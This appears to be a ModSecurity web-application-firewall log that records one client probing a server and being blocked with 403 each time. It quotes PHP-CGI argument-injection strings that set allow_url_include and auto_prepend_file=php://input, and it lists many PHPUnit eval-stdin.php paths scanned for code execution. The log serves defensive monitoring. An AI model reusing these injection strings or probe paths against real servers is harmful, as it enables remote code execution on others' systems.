[Sat Oct 24 20:47:46.350394 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1Rst3lMH_Ldre-PZtukAAAACk"]
[Sat Oct 24 20:47:46.412352 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "at1Rst3lMH_Ldre-PZtukQAAACk"]
[Sat Oct 24 20:47:46.412435 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "at1Rst3lMH_Ldre-PZtukQAAACk"]
[Sat Oct 24 20:47:46.412871 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "at1Rst3lMH_Ldre-PZtukQAAACk"]
[Sat Oct 24 20:47:46.413131 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "at1Rst3lMH_Ldre-PZtukQAAACk"]
[Sat Oct 24 20:47:46.467630 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1Rst3lMH_Ldre-PZtukgAAACk"]
[Sat Oct 24 20:47:46.467704 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1Rst3lMH_Ldre-PZtukgAAACk"]
[Sat Oct 24 20:47:46.468151 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1Rst3lMH_Ldre-PZtukgAAACk"]
[Sat Oct 24 20:47:46.468439 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1Rst3lMH_Ldre-PZtukgAAACk"]
[Sat Oct 24 20:47:46.549232 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtukwAAACk"]
[Sat Oct 24 20:47:46.549680 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtukwAAACk"]
[Sat Oct 24 20:47:46.549977 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtukwAAACk"]
[Sat Oct 24 20:47:46.598364 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtulAAAACk"]
[Sat Oct 24 20:47:46.598810 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtulAAAACk"]
[Sat Oct 24 20:47:46.599110 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtulAAAACk"]
[Sat Oct 24 20:47:46.654614 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtulQAAACk"]
[Sat Oct 24 20:47:46.655073 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtulQAAACk"]
[Sat Oct 24 20:47:46.655400 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtulQAAACk"]
[Sat Oct 24 20:47:46.704161 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtulgAAACk"]
[Sat Oct 24 20:47:46.704586 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtulgAAACk"]
[Sat Oct 24 20:47:46.704899 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtulgAAACk"]
[Sat Oct 24 20:47:46.755972 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtulwAAACk"]
[Sat Oct 24 20:47:46.756409 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtulwAAACk"]
[Sat Oct 24 20:47:46.756755 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtulwAAACk"]
[Sat Oct 24 20:47:46.802122 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtumAAAACk"]
[Sat Oct 24 20:47:46.802599 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtumAAAACk"]
[Sat Oct 24 20:47:46.802895 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtumAAAACk"]
[Sat Oct 24 20:47:46.866709 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtumQAAACk"]
[Sat Oct 24 20:47:46.867183 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtumQAAACk"]
[Sat Oct 24 20:47:46.867494 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtumQAAACk"]
[Sat Oct 24 20:47:46.925161 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtumgAAACk"]
[Sat Oct 24 20:47:46.925622 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtumgAAACk"]
[Sat Oct 24 20:47:46.925995 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtumgAAACk"]
[Sat Oct 24 20:47:46.988621 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtumwAAACk"]
[Sat Oct 24 20:47:46.989070 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtumwAAACk"]
[Sat Oct 24 20:47:46.989360 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rst3lMH_Ldre-PZtumwAAACk"]
[Sat Oct 24 20:47:47.041900 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtunAAAACk"]
[Sat Oct 24 20:47:47.042363 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtunAAAACk"]
